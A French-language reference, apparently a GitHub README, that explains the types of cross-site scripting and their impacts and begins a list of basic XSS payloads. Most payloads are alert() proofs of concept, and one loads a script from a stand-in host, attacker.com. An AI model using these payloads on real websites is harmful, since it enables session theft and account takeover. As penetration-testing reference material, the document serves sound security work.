
Référence XSS complète couvrant les payloads réfléchis, stockés, DOM et aveugles, le contournement de filtres, l'évasion des WAF, le contournement de CSP, le mXSS et des études de cas CVE réelles.
La référence XSS la plus complète sur GitHub.
Reflected · Stored · DOM · Blind XSS — payloads, contournements de filtres, évasion de WAF, contournement de CSP, mXSS, chaînes de prototype pollution et CVE réelles. Mise à jour pour 2026.
Payloads · Contournement de filtres · Évasion de WAF · DOM XSS · Contournement de CSP · Blind XSS · Avancé · Outils
Le Cross-Site Scripting (XSS) est une attaque par injection de code côté client où un attaquant injecte des scripts malveillants dans du contenu servi par une application web de confiance. Lorsque le navigateur de la victime affiche la page, le script injecté s'exécute avec les mêmes privilèges que les scripts légitimes de cette origine.
Le XSS figure systématiquement dans le Top 10 de l'OWASP car l'impact est grave et la surface d'attaque est énorme :
| Impact | Description |
|---|---|
| Détournement de session | Voler document.cookie et prendre le contrôle de sessions authentifiées |
| Prise de contrôle de compte | Modifier l'email/mot de passe via des requêtes forgées en utilisant la session de la victime |
| Keylogging | Capturer chaque frappe au clavier, y compris les mots de passe et numéros de carte bancaire |
| Hameçonnage | Injecter de faux formulaires de connexion qui soumettent les identifiants à l'attaquant |
| Défiguration | Modifier le contenu de la page pour diffuser de la désinformation ou embarrasser la cible |
| Distribution de logiciels malveillants | Rediriger les victimes vers des kits d'exploitation |
| Minage de cryptomonnaies | Exécuter des mineurs de cryptomonnaies dans les navigateurs des victimes |
| SSRF / Scan de ports internes | Utiliser le navigateur de la victime pour sonder le réseau interne |
| Collecte d'identifiants | Lire les identifiants préremplis depuis le DOM |
| Capture d'écran / Webcam | Capturer l'écran via getDisplayMedia(), la webcam via getUserMedia() |
Le XSS contourne la politique de même origine (SOP). Comme le script malveillant est servi depuis l'origine cible, le navigateur le considère comme fiable. Cela signifie que le XSS donne à un attaquant :
HttpOnlylocalStorage et sessionStorageCross-Site Scripting (XSS)
│
├── Reflected XSS
│ ├── Payload in request, reflected in response immediately
│ ├── Requires victim to click crafted link
│ ├── Stored: NO — not persistent
│ └── Example: search?q=<script>alert(1)</script>
│
├── Stored XSS (Persistent)
│ ├── Payload stored in database, file, log, etc.
│ ├── Executes on every page load for every victim
│ ├── Stored: YES — most dangerous type
│ └── Example: comment field, profile name, forum post
│
├── DOM-Based XSS
│ ├── Payload processed by client-side JS, never reaches server
│ ├── Source → Sink flow entirely in browser
│ ├── Often missed by server-side WAFs and scanners
│ └── Example: location.hash → innerHTML assignment
│
└── Blind XSS
├── Payload executes in a different context than where it's injected
├── Fires in admin panels, log viewers, CRM systems
├── Time delay between injection and execution (hours/days)
└── Example: support ticket field that fires in agent dashboard
| Type | Persistance | Qui est touché | Le serveur voit-il la charge utile ? |
|---|---|---|---|
| Reflected | Non | Victime ciblée | Oui |
| Stored | Oui | Tous les visiteurs | Oui |
| DOM | Non | Victime ciblée | Généralement non |
| Blind | Oui (à distance) | Administrateur / utilisateur backend | Oui (au point d'injection) |
Les charges utiles fondamentales que tout chercheur en sécurité connaît. Elles fonctionnent là où aucun filtrage n'existe.
<!-- Standard script tag -->
<script>alert(1)</script>
<!-- With domain in alert for proof-of-concept -->
<script>alert(document.domain)</script>
<!-- Cookie theft proof-of-concept -->
<script>alert(document.cookie)</script>
<!-- Script with src — load external JS -->
<script src=https://attacker.com/xss.js></script>
<!-- With type attribute -->
<script type="text/javascript">alert(1)</script>
<!-- Newline in script tag -->
<script>
alert(1)
</script>
<!-- Multiple statements -->
<script>var x=1;alert(x)</script>
<!-- Using window.alert -->
<script>window.alert(1)</script>